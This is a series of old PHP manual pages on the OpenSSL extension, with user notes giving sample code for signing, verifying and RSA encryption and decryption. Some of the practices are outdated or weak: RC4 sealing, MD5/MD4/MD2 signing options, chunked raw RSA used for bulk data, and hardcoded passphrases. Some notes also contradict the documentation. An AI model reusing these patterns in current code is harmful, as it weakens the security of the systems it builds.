This command doesn't work correctly on WIN32 with IIS. Mails arent interpreted correctly by IIS SMTP Server (and by Outlook too). The reason is that UNIX and WINDOWS interpret the enter to the next line ascii code in a different way.

Below I present an improved code:

<?php

$data = <<<EOD

Testing 123

This is a test

Test

EOD;

//save the message to a file
$fp = fopen("msg.txt","w");
fwrite($fp,$data);
fclose($fp);

//sign the message using the sender's keys
openssl_pkcs7_sign("msg.txt", "signed.eml", "file://c:/max/cert.pem",
array("file://c:/max/priv.pem","your_password"),
array("To" => "recipient <recipients@mail.com>",
"From" => "sender <sender@mail.com>",
"Subject" => "Order Notification - Test"),PKCS7_DETACHED,"c:\max\extra_cert.pem");

$file_arry = file("signed.eml");
$file = join ("", $file_arry);
$message = preg_replace("/\r\n|\r|\n/", "\r\n", $file);

$fp = fopen("c:\Inetpub\mailroot\Pickup\signed.eml", "wb");
flock($fp, 2);
fputs($fp, $message);
flock($fp, 3);
fclose($fp);

?>

Besides, if you want to use the keys created with Windows, you should export them (from IE) to the form of PKCS#12 file (*.pfx).

Install OpenSSLWin32 from
http://www.shininglightpro.com/search.php?searchname=Win32+OpenSSL

execute: openssl.exe

enter the commands:

pkcs12 -in <pfx-file> -nokeys -out <pem-certs-file>

pkcs12 -in <pfx-file> -nocerts -nodes -out <pem-key-file>

Next export from IE Root CA certificate as Base-64 *.cer and rename the file to *.pem

And that's all!
php at toyingwithfate dot com
24-Sep-2003 05:55
It's probably worth noting that I had a great deal of difficulty getting either Mozilla 1.4 or Outlook Express 6 to verify signatures generated by openssl_pkcs7_sign() until I added a newline (\n) to the beginning of the message I was signing.  Not sure why that is, but as soon as I made that change all problems disappeared.
del at babel dot com dot au
03-May-2002 06:09
The "mycert.pem" parameters as shown in the example above are not correct.  You either have to pass a string containing the PEM encoded certificate or key, or the location of a file in file://path/to/file.pem notation.  See the comments on the OpenSSL functions page (the page above this one).
meint dot post at bigfoot dot com
05-Sep-2001 07:35
If you want to integrate PKCS7 signing/verifying with a browser and it's not a problem that it's only Internet Explorer (or Netscape + ActiveX plugin) you can look at Capicom. It's a free component and available at the MSDN website.
add a note add a note

后退 | 起点 | 前进
openssl_pkcs7_encrypt | 上一级 | openssl_pkcs7_verify


openssl_pkcs7_verify

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_verify -- Verifies the signature of an S/MIME signed message

Description

mixed openssl_pkcs7_verify ( string filename, int flags [, string outfilename [, array cainfo [, string extracerts]]] )

openssl_pkcs7_verify() reads the S/MIME message contained in the filename specified by filename and examines the digital signature. It returns TRUE if the signature is verified, FALSE if it is not correct (the message has been tampered with, or the signing certificate is invalid), or -1 on error.

flags can be used to affect how the signature is verified - see PKCS7 constants for more information.

If the outfilename is specified, it should be a string holding the name of a file into which the certificates of the persons that signed the messages will be stored in PEM format.

If the cainfo is specified, it should hold information about the trusted CA certificates to use in the verification process - see certificate verification for more information about this parameter.

If the extracerts is specified, it is the filename of a file containing a bunch of certificates to use as untrusted CAs.

add a note add a note User Contributed Notes
14-Feb-2006 08:59
There is a hidden sixth argument: string pointing to a file where the contents of the signed message should be saved.

It is very important for verifying signed and encrypted messages from MS Outlook which uses opaque signing. After decrypting of message you will get another MIME envelope like this:

MIME-Version: 1.0
Content-Disposition: attachment; filename="smime.p7m"
Content-Type: application/x-pkcs7-mime; smime-type=signed-data; name="smime.p7m"
Content-Transfer-Encoding: base64

MIIM/QYJ...

Even if you use base64_decode() you will not get decrypted message but PKCS #7 object.

BTW: How to create opaque signed message like from MS Outlook? Switch off PKCS7_DETACHED flag (the last 0 does it):
openssl_pkcs7_sign(
   "full_path_to_message_file",
   "full_path_where_to_store_signed_message_file",
   "file://full_path_to_my_public_certificate.pem",
   array("file://full_path_to_my_private_key.pem", "password"),
   array(),
   0
  );
add a note add a note

后退 | 起点 | 前进
openssl_pkcs7_sign | 上一级 | openssl_pkey_export_to_file


openssl_pkey_export_to_file

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_export_to_file -- Gets an exportable representation of a key into a file

Description

bool openssl_pkey_export_to_file ( mixed key, string outfilename [, string passphrase [, array configargs]] )

openssl_pkey_export_to_file() saves an ascii-armoured (PEM encoded) rendition of key into the file named by outfilename. The key can be optionally protected by a passphrase. configargs can be used to fine-tune the export process by specifying and/or overriding options for the openssl configuration file. See openssl_csr_new() for more information about configargs. 如果成功则返回 TRUE，失败则返回 FALSE。

注: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openssl_pkcs7_verify | 上一级 | openssl_pkey_export


openssl_pkey_export

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_export -- Gets an exportable representation of a key into a string

Description

bool openssl_pkey_export ( mixed key, string &out [, string passphrase [, array configargs]] )

openssl_pkey_export() exports key as a PEM encoded string and stores it into out (which is passed by reference). The key is optionally protected by passphrase. configargs can be used to fine-tune the export process by specifying and/or overriding options for the openssl configuration file. See openssl_csr_new() for more information about configargs. 如果成功则返回 TRUE，失败则返回 FALSE。

注: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

add a note add a note User Contributed Notes
robbat2 at gentoo dot org
10-Aug-2004 02:47
Warning, this function is NOT capable of exporting PEM-encoded public keys. It can only export private keys.
add a note add a note

后退 | 起点 | 前进
openssl_pkey_export_to_file | 上一级 | openssl_pkey_free


openssl_pkey_free

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_free -- Frees a private key

Description

void openssl_pkey_free ( resource key )

This function frees a private key created by openssl_pkey_new().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openssl_pkey_export | 上一级 | openssl_pkey_get_private


openssl_pkey_get_private

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_get_private -- Get a private key

Description

resource openssl_pkey_get_private ( mixed key [, string passphrase] )

Returns a positive key resource identifier on success, or FALSE on error.

openssl_get_privatekey() parses key and prepares it for use by other functions. key can be one of the following:

  1. a string having the format file://path/to/file.pem. The named file must contain a PEM encoded certificate/private key (it may contain both).

  2. A PEM formatted private key.

The optional parameter passphrase must be used if the specified key is encrypted (protected by a passphrase).

add a note add a note User Contributed Notes
Joel Barker
31-Aug-2005 03:03
Note that the important part of meint's post is that there is a SINGLE argument: an ARRAY of two elements. In other words, the correct prototype of the function is

resource openssl_pkey_get_private ( array params )

where params = array( 0 => $key, 1 => $passphrase)

Thanks, meint, you made my day!
meint dot post at bigfoot dot com
17-Jan-2003 07:58
Trying for hours to get openssl_pkey_get_private to load my private key (no problems with openssl_pkey_get_public) I found that the following loaded the private key correctly:

$passphrase="test";
$priv_key_file_name = ("./private.pem");

if (openssl_pkey_get_private(array("file://$priv_key_file_name", $passphrase)))
{
       print "\nPrivate Key OK\n\n";
} else {
       print "\nPrivate key NOT OK\n\n";
}
add a note add a note

后退 | 起点 | 前进
openssl_pkey_free | 上一级 | openssl_pkey_get_public


openssl_pkey_get_public

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_get_public -- Extract public key from certificate and prepare it for use

Description

resource openssl_pkey_get_public ( mixed certificate )

Returns a positive key resource identifier on success, or FALSE on error.

openssl_get_publickey() extracts the public key from certificate and prepares it for use by other functions. certificate can be one of the following:

  1. an X.509 certificate resource

  2. a string having the format file://path/to/file.pem. The named file must contain a PEM encoded certificate/private key (it may contain both).

  3. A PEM formatted private key.

add a note add a note User Contributed Notes
dankybastard at hotmail
10-Feb-2005 12:52
You must also use the string representation of the certificate to get the public key resource:

$dn = array();  // use defaults
$res_privkey = openssl_pkey_new();
$res_csr = openssl_csr_new($dn, $res_privkey);
$res_cert = openssl_csr_sign($res_csr, null, $res_privkey, $ndays);

openssl_x509_export($res_cert, $str_cert);

$res_pubkey = openssl_pkey_get_public($str_cert);
10-Aug-2004 02:44
This documentation notes it can take a PEM-formatted private key, but as per bug #25614, this is not possible in any form. The function simply returns a FALSE.

The only thing you can get public keys out of are X.509 certificates.

Furthermore, there is NO way to export a public key into a PEM-encoded form.
add a note add a note

后退 | 起点 | 前进
openssl_pkey_get_private | 上一级 | openssl_pkey_new


openssl_pkey_new

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_new -- Generates a new private key

Description

resource openssl_pkey_new ( [array configargs] )

openssl_pkey_new() generates a new private and public key pair. The public component of the key can be obtained using openssl_pkey_get_public(). You can finetune the key generation (such as specifying the number of bits) using configargs. See openssl_csr_new() for more information about configargs.

注: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

add a note add a note User Contributed Notes
NOSPAM dot alchaemist at hiperlinux dot com dot ar
30-May-2004 03:17
As you probably found, getting the public key is not as direct as you might think with this documentation.

You can easily get into messages like:

Warning: openssl_pkey_get_public(): Don't know how to get public key from this private key (the documentation lied) in D:\www\keys.php on line 4

The correct steps to get the whole thing seem to be these:

<?
$dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" => 'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@domain.com');
$privkeypass = '1234';
$numberofdays = 365;

$privkey = openssl_pkey_new();
$csr = openssl_csr_new($dn, $privkey);
$sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
openssl_x509_export($sscert, $publickey);
openssl_pkey_export($privkey, $privatekey, $privkeypass);
openssl_csr_export($csr, $csrStr);

echo $privatekey; // Will hold the exported PriKey
echo $publickey;  // Will hold the exported PubKey
echo $csrStr;    // Will hold the exported Certificate
?>

Now all you need to do is to make some research on each individual function.
add a note add a note

后退 | 起点 | 前进
openssl_pkey_get_public | 上一级 | openssl_private_decrypt


openssl_private_decrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_private_decrypt -- Decrypts data with private key

Description

bool openssl_private_decrypt ( string data, string &decrypted, mixed key [, int padding] )

openssl_private_decrypt() decrypts data that was previous encrypted via openssl_public_encrypt() and stores the result into decrypted. key must be the private key corresponding that was used to encrypt the data. padding defaults to OPENSSL_PKCS1_PADDING, but can also be one of OPENSSL_SSLV23_PADDING, OPENSSL_PKCS1_OAEP_PADDING, OPENSSL_NO_PADDING.

如果成功则返回 TRUE，失败则返回 FALSE。

You can use this function e.g. to decrypt data which were supposed only to you.

See also openssl_public_encrypt() and openssl_public_decrypt().

add a note add a note User Contributed Notes
wfredkNOSPAM at L5DevelopmentNOSPAM dot com
09-Mar-2002 07:58
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>
add a note add a note

后退 | 起点 | 前进
openssl_pkey_new | 上一级 | openssl_private_encrypt


openssl_private_encrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_private_encrypt -- Encrypts data with private key

Description

bool openssl_private_encrypt ( string data, string &crypted, mixed key [, int padding] )

openssl_private_encrypt() encrypts data with private key and stores the result into crypted. Encrypted data can be decrypted via openssl_public_decrypt(). padding defaults to OPENSSL_PKCS1_PADDING, but can also be OPENSSL_NO_PADDING.

如果成功则返回 TRUE，失败则返回 FALSE。

This function can be used e.g. to sign data (or its hash) to prove that it is not written by someone else.

See also openssl_public_decrypt() and openssl_public_encrypt().

add a note add a note User Contributed Notes
wfredkNOSPAM at L5DevelopmentNOSPAM dot com
09-Mar-2002 07:50
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it
29-Jan-2002 02:47
<?php
$fp=fopen ("/path/to/key.pem","r");
$priv_key=fread ($fp,8192);
fclose($fp);
openssl_get_privatekey ($priv_key);
openssl_private_encrypt($source,$finaltext,$priv_key);
echo "String crypted: $finaltext";
?>

CIAO !
add a note add a note

后退 | 起点 | 前进
openssl_private_decrypt | 上一级 | openssl_public_decrypt


openssl_public_decrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_public_decrypt -- Decrypts data with public key

Description

bool openssl_public_decrypt ( string data, string &decrypted, mixed key [, int padding] )

openssl_public_decrypt() decrypts data that was previous encrypted via openssl_private_encrypt() and stores the result into decrypted. key must be the public key corresponding that was used to encrypt the data. padding defaults to OPENSSL_PKCS1_PADDING, but can also be OPENSSL_NO_PADDING.

如果成功则返回 TRUE，失败则返回 FALSE。

You can use this function e.g. to check if the message was written by the owner of the private key.

See also openssl_private_encrypt() and openssl_private_decrypt().

add a note add a note User Contributed Notes
wfredkNOSPAM at L5DevelopmentNOSPAM dot com
09-Mar-2002 07:52
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it
29-Jan-2002 02:41
<?php
$fp=fopen ("/path/to/certificato.pem");
$pub_key=fread ($fp,8192);
openssl_get_publickey ($pub_key);
openssl_public_decrypt ($source,$finaltext,$pub_key);
echo "String decrypt : $finaltext";
?>
add a note add a note

后退 | 起点 | 前进
openssl_private_encrypt | 上一级 | openssl_public_encrypt


openssl_public_encrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_public_encrypt -- Encrypts data with public key

Description

bool openssl_public_encrypt ( string data, string &crypted, mixed key [, int padding] )

openssl_public_encrypt() encrypts data with public key and stores the result into crypted. Encrypted data can be decrypted via openssl_private_decrypt(). padding defaults to OPENSSL_PKCS1_PADDING, but can also be one of OPENSSL_SSLV23_PADDING, OPENSSL_PKCS1_OAEP_PADDING, OPENSSL_NO_PADDING.

如果成功则返回 TRUE，失败则返回 FALSE。

This function can be used e.g. to encrypt message which can be then read only by owner of the private key. It can be also used to store secure data in database.

See also openssl_private_decrypt() and openssl_private_encrypt().

add a note add a note User Contributed Notes
adrian
03-Sep-2005 05:53
T. Horsten explained the size limits on raw encryption. Here are two functions to encrypt/decrypt larger data when you can't use the envelope functions:

function ssl_encrypt($source,$type,$key){
//Assumes 1024 bit key and encrypts in chunks.

$maxlength=117;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
   $ok= openssl_private_encrypt($input,$encrypted,$key);
  }else{
   $ok= openssl_public_encrypt($input,$encrypted,$key);
  }

  $output.=$encrypted;
}
return $output;
}

function ssl_decrypt($source,$type,$key){
// The raw PHP decryption functions appear to work
// on 128 Byte chunks. So this decrypts long text
// encrypted with ssl_encrypt().

$maxlength=128;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
   $ok= openssl_private_decrypt($input,$out,$key);
  }else{
   $ok= openssl_public_decrypt($input,$out,$key);
  }

  $output.=$out;
}
return $output;

}
Thomas Horsten
17-Aug-2005 07:21
chsnyder writes that the data is limited to 936 bits in his implementation.

Actually, it has nothing to do with RSA being CPU intensive, RAM or anything of the sort.

Basically when you encrypt something using an RSA key (whether public or private), the encrypted value must be smaller than the key (due to the maths used to do the actual encryption). So if you have a 1024-bit key, in theory you could encrypt any 1023-bit value (or a 1024-bit value smaller than the key) with that key.

However, the PKCS#1 standard, which OpenSSL uses, specifies a padding scheme (so you can encrypt smaller quantities without losing security), and that padding scheme takes a minimum of 11 bytes (it will be longer if the value you're encrypting is smaller). So the highest number of bits you can encrypt with a 1024-bit key is 936 bits because of this (unless you disable the padding by adding the OPENSSL_NO_PADDING flag, in which case you can go up to 1023-1024 bits). With a 2048-bit key it's 1960 bits instead.

But as chsnyder correctly wrote, the normal application of a public key encryption algorithm is to store a key or a hash of the data you want to respectively encrypt or sign. A hash is typically 128-256 bits (the PHP sha1() function returns a 160 bit hash). And an AES key is 128 to 256 bits. So either of those will comfortably fit inside a single RSA encryption.
kenashkov at gmail dot com
30-Jun-2005 08:04
The encrypted data can be stored in MySQL without use of base64. It must be properly escaped with mysql_real_escape_string(), and then saved to BLOB column. (In fact - this function must be used every time when you insert binary data in MySQL).
chsnyder at gmail dot com
20-Feb-2005 01:18
In comment below, Jeff says the input to this function is limited to "about 50 characters". On my PHP5 build, the limit is 117 characters (936 bits, strange number).

That's because public key encryption is CPU intensive, and meant to be used on short values. The idea is to use this function to encrypt a secret key that is in turn used to encrypt data using a more efficient algorithm, such as RC4 or TripleDES. The recipient uses their private key to decrypt the secret, and can then decrypt the data.

The openssl_seal() and openssl_open() functions do this internally, and are very well documented. You should probably use them instead.
pigo at ms5 dot url dot com dot tw
12-Nov-2004 04:33
openssl_public_encrypt and openssl_private_encrypt can't encrypt large data . so I write a class . this class can encrypt large data and decrypt.

look url : http://pigo.pigo.idv.tw/opensslcrypt.phps
rstinnett at bfmhconsulting dot com
07-Oct-2004 09:37
To store the encrypted data in a MySQL database, you first have to encode the data so it can safely be written. You can use a blob type for this, but it can make SELECTs really nasty. The easiest way I have found to do this is with base64_encode and base64_decode. The following example using code from a previous example and split into encrypt and decrypt functions.

function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);
  /*
   * NOTE:  Here you use the $pub_key value (converted, I guess)
   */
  openssl_public_encrypt($source,$crypttext,$pub_key);
  return(base64_encode($crypttext));
}

function DecryptData($source)
{
  #print("number : $number");
  $fp=fopen("/etc/httpd/conf/ssl.key/server.key","r");
  $priv_key=fread($fp,8192);
  fclose($fp);
  // $passphrase is required if your key is encoded (suggested)
  $res = openssl_get_privatekey($priv_key,$passphrase);
  /*
   * NOTE:  Here you use the returned resource value
   */
  $decoded_source = base64_decode($source);
  openssl_private_decrypt($decoded_source,$newsource,$res);
  return($newsource);
}

Just use the return values to store the encrypted data or display the decrypted data.
Jeff
11-May-2004 03:18
I figured it out.  This function is not intended for general encryption and decryption.  For that, you want openssl_seal() and openssl_open().
Jeff
10-May-2004 05:15
It looks like there is a limit on the size of the string to be encrypted: about 50 characters.

This is due to the fact that the implementation allocates an output buffer of size EVP_PKEY_size(pkey), which is totally arbitrary and unrelated to the size of the input.  Also, it's not using a cipher envelope approach.  It's just RSAing the input string.
lonewolf at greyskydesigns dot com
17-Apr-2003 01:28
Easy way:

<?php

$publicKey = "file://path/to/public/key-crt.pem";
$plaintext = "String to encrypt";

openssl_public_encrypt($plaintext, $encrypted, $publicKey);

echo $encrypted;  //encrypted string

?>
webmaster at costarica-travelinfo dot com
14-Mar-2003 06:51
This example worked for me:

RedHat 7.2 / php 4.2.2 / Apache 1.3.7

// STEP 1: Encryption with Public Key (you will need Private Key to decrypt - see step2).

$string="Some Important Data";
$fp=fopen ("cert.pem","r");
$pub_key=fread ($fp,8192);
fclose($fp);
$PK="";
$PK=openssl_get_publickey($pub_key);
if (!$PK) {
   echo "Cannot get public key";
}
$finaltext="";
openssl_public_encrypt($string,$finaltext,$PK);
if (!empty($finaltext)) {
   openssl_free_key($PK);
   echo "Encryption OK!";
}else{
   echo "Cannot Encrypt";
}

// STEP 2: Decription (Using Private Key)

$fp=fopen ("pk.pem","r");
$priv_key2=fread ($fp,8192);
fclose($fp);
$PK2=openssl_get_privatekey($priv_key2);
$Crypted=openssl_private_decrypt($Data,$Decrypted,$PK2);
if (!$Crypted) {
   $MSG.="<p class='error'>Cannot Decrypt ($CCID).</p>";
}else{
   echo "Decrypted Data: " . $Decrypted;
}
hromi at kyberia dot sk
08-Oct-2002 01:31
function description is wrong, you have to switch crypttext and text if you want it to work
this is correct:
bool openssl_public_encrypt ( string crypted, string data, mixed key [, int padding])
wfredkNOSPAM at L5DevelopmentNOSPAM dot com
09-Mar-2002 07:56
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>
add a note add a note

后退 | 起点 | 前进
openssl_public_decrypt | 上一级 | openssl_seal


openssl_seal

(PHP 4 >= 4.0.4, PHP 5)

openssl_seal -- Seal (encrypt) data

Description

int openssl_seal ( string data, string &sealed_data, array &env_keys, array pub_key_ids )

Returns the length of the sealed data on success, or FALSE on error. If successful the sealed data is returned in sealed_data, and the envelope keys in env_keys.

openssl_seal() seals (encrypts) data by using RC4 with a randomly generated secret key. The key is encrypted with each of the public keys associated with the identifiers in pub_key_ids and each encrypted key is returned in env_keys. This means that one can send sealed data to multiple recipients (provided one has obtained their public keys). Each recipient must receive both the sealed data and the envelope key that was encrypted with the recipient's public key.

例子 1. openssl_seal() example

<?php
// $data is assumed to contain the data to be sealed

// fetch public keys for our recipients, and ready them
$fp = fopen("/src/openssl-0.9.6/demos/maurice/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk1 = openssl_get_publickey($cert);
// Repeat for second recipient
$fp = fopen("/src/openssl-0.9.6/demos/sign/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk2 = openssl_get_publickey($cert);

// seal message, only owners of $pk1 and $pk2 can decrypt $sealed with keys
// $ekeys[0] and $ekeys[1] respectively.
openssl_seal($data, $sealed, $ekeys, array($pk1, $pk2));

// free the keys from memory
openssl_free_key($pk1);
openssl_free_key($pk2);
?>

See also openssl_open().

add a note add a note User Contributed Notes
devel@no-spam
15-Jun-2005 09:20
"seals (encrypts) data by using RC4 with a randomly generated secret key"
It should be noted that the randomly generated secret key is 128 bits long (openssl: EVP_rc4(void):  RC4 stream cipher. This is a variable key length cipher with default key length 128 bits.)
add a note add a note

后退 | 起点 | 前进
openssl_public_encrypt | 上一级 | openssl_sign


openssl_sign

(PHP 4 >= 4.0.4, PHP 5)

openssl_sign -- Generate signature

Description

bool openssl_sign ( string data, string &signature, mixed priv_key_id [, int signature_alg] )

如果成功则返回 TRUE，失败则返回 FALSE。 If successful the signature is returned in signature.

openssl_sign() computes a signature for the specified data by using SHA1 for hashing followed by encryption using the private key associated with priv_key_id. Note that the data itself is not encrypted.

例子 1. openssl_sign() example

<?php
// $data is assumed to contain the data to be signed

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// compute signature
openssl_sign($data, $signature, $pkeyid);

// free the key from memory
openssl_free_key($pkeyid);
?>

See also openssl_verify().

add a note add a note User Contributed Notes
adam dot mansfeld at gmail dot com
19-Oct-2005 03:50
Hello,

the fourth parameter 'signature_alg' to choose the signature algorithm can be one of:

OPENSSL_ALGO_SHA1
OPENSSL_ALGO_MD5
OPENSSL_ALGO_MD4
OPENSSL_ALGO_MD2

Just for the case that somebody needs this.

Regards
add a note add a note

后退 | 起点 | 前进
openssl_seal | 上一级 | openssl_verify


openssl_verify

(PHP 4 >= 4.0.4, PHP 5)

openssl_verify -- Verify signature

Description

int openssl_verify ( string data, string signature, mixed pub_key_id )

Returns 1 if the signature is correct, 0 if it is incorrect, and -1 on error.

openssl_verify() verifies that the signature is correct for the specified data using the public key associated with pub_key_id. This must be the public key corresponding to the private key used for signing.

例子 1. openssl_verify() example

<?php
// $data and $signature are assumed to contain the data and the signature

// fetch public key from certificate and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pubkeyid = openssl_get_publickey($cert);

// state whether signature is okay or not
$ok = openssl_verify($data, $signature, $pubkeyid);
if ($ok == 1) {
    echo "good";
} elseif ($ok == 0) {
    echo "bad";
} else {
    echo "ugly, error checking signature";
}
// free the key from memory
openssl_free_key($pubkeyid);
?>

See also openssl_sign().

add a note add a note User Contributed Notes
Stiv
02-Mar-2006 10:34
I've finally found a way to verify signature. Sample in the documentation doesn't work. Code bellow DOES work :)

<?php
// $data is assumed to contain the data to be signed

// fetch certificate from file and ready it
$fp = fopen("path/file.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);

// state whether signature is okay or not
// use the certificate, not the public key
$ok = openssl_verify($data, $signature, $cert);
if ($ok == 1) {
   echo "good";
} elseif ($ok == 0) {
   echo "bad";
} else {
   echo "ugly, error checking signature";
}
?>
devel@no-spam
15-Jun-2005 09:25
It should be noted that in order to verify a signature successfully, SHA-1 must be used to digest the data before signing.

If, for example, you are using Java to create a signature and you want to verify it in PHP, you must not use "MD5withRSA" or "SHA512withRSA" as the signature algorithm. Use "SHA1withRSA" or the like...
steve dot venable at lmco dot com
31-May-2002 03:36
A note about the openssl_verify() (and some of the other functions).  The public key comes from a certificate in any of the support formats (as the example shows, use openssl_get_publickey() to get the resource id).  But after some trial and error I found the signature string MUST BE BINARY.  While no error occurs, passing a base64-formatted signature string (PEM format?), you simply get a mismatch.  When I did the base64 decode myself, the verify returned a match (return value 1).  You can simply drop the begin/end lines and take the output of the 'base64_decode()' function.
meint dot post at bigfoot dot com
10-Jun-2001 02:56
Anbybody trying to get a Win32 CryptoAPI based digital signature component to work with the openssl_verify() function should be aware that the CryptoAPI PKCS1 (RSA) method uses bytes in reverse order while the openssl_verify() method expects a correctly formatted PKCS1 digital signature (as should be). I learned this the hard way and it took me some time to dig this out. A simple solution in VBScript to reverse the byte order:

N = Len(Blob.Hex)

' reverse bytes in the signature using Hex format
For i = 1 To N - 1 Step 2
   s = Mid(Blob, i, 2) & s
Next

s contains the digital signature in reverse order. Blob is an arbitrary binary container.

Send the signature off in Hex format and use a hex2bin method in PHP to convert to the correct format for openssl_verify(), i.e.

function hex2bin($data) {

   $len = strlen($data);
   return pack("H" . $len, $data);

}

That's it, hope it helps out. BTW I used ASPEncrypt to toy around with on Win32 platform. Works only with Internet Explorer but you could also use a Java applet and have none of the abovementioned problems :-)
add a note add a note

后退 | 起点 | 前进
openssl_sign | 上一级 | openssl_x509_check_private_key


openssl_x509_check_private_key

(PHP 4 >= 4.2.0, PHP 5)

openssl_x509_check_private_key -- Checks if a private key corresponds to a certificate

Description

bool openssl_x509_check_private_key ( mixed cert, mixed key )

openssl_x509_check_private_key() returns TRUE if key is the private key that corresponds to cert, or FALSE otherwise.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openssl_verify | 上一级 | openssl_x509_checkpurpose


openssl_x509_checkpurpose

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_checkpurpose -- Verifies if a certificate can be used for a particular purpose

Description

int openssl_x509_checkpurpose ( mixed x509cert, int purpose [, array cainfo [, string untrustedfile]] )

Returns TRUE if the certificate can be used for the intended purpose, FALSE if it cannot, or -1 on error.

openssl_x509_checkpurpose() examines the certificate specified by x509cert to see if it can be used for the purpose specified by purpose.

cainfo should be an array of trusted CA files/dirs as described in Certificate Verification. It defaults to an empty array.

untrustedfile, if specified, is the name of a PEM encoded file holding certificates that can be used to help verify the certificate, although no trust in placed in the certificates that come from that file.

表格 1. openssl_x509_checkpurpose() purposes

Constant | Description
X509_PURPOSE_SSL_CLIENT | Can the certificate be used for the client side of an SSL connection?
X509_PURPOSE_SSL_SERVER | Can the certificate be used for the server side of an SSL connection?
X509_PURPOSE_NS_SSL_SERVER | Can the cert be used for Netscape SSL server?
X509_PURPOSE_SMIME_SIGN | Can the cert be used to sign S/MIME email?
X509_PURPOSE_SMIME_ENCRYPT | Can the cert be used to encrypt S/MIME email?
X509_PURPOSE_CRL_SIGN | Can the cert be used to sign a certificate revocation list (CRL)?
X509_PURPOSE_ANY | Can the cert be used for Any/All purposes?
These options are not bitfields - you may specify one only!

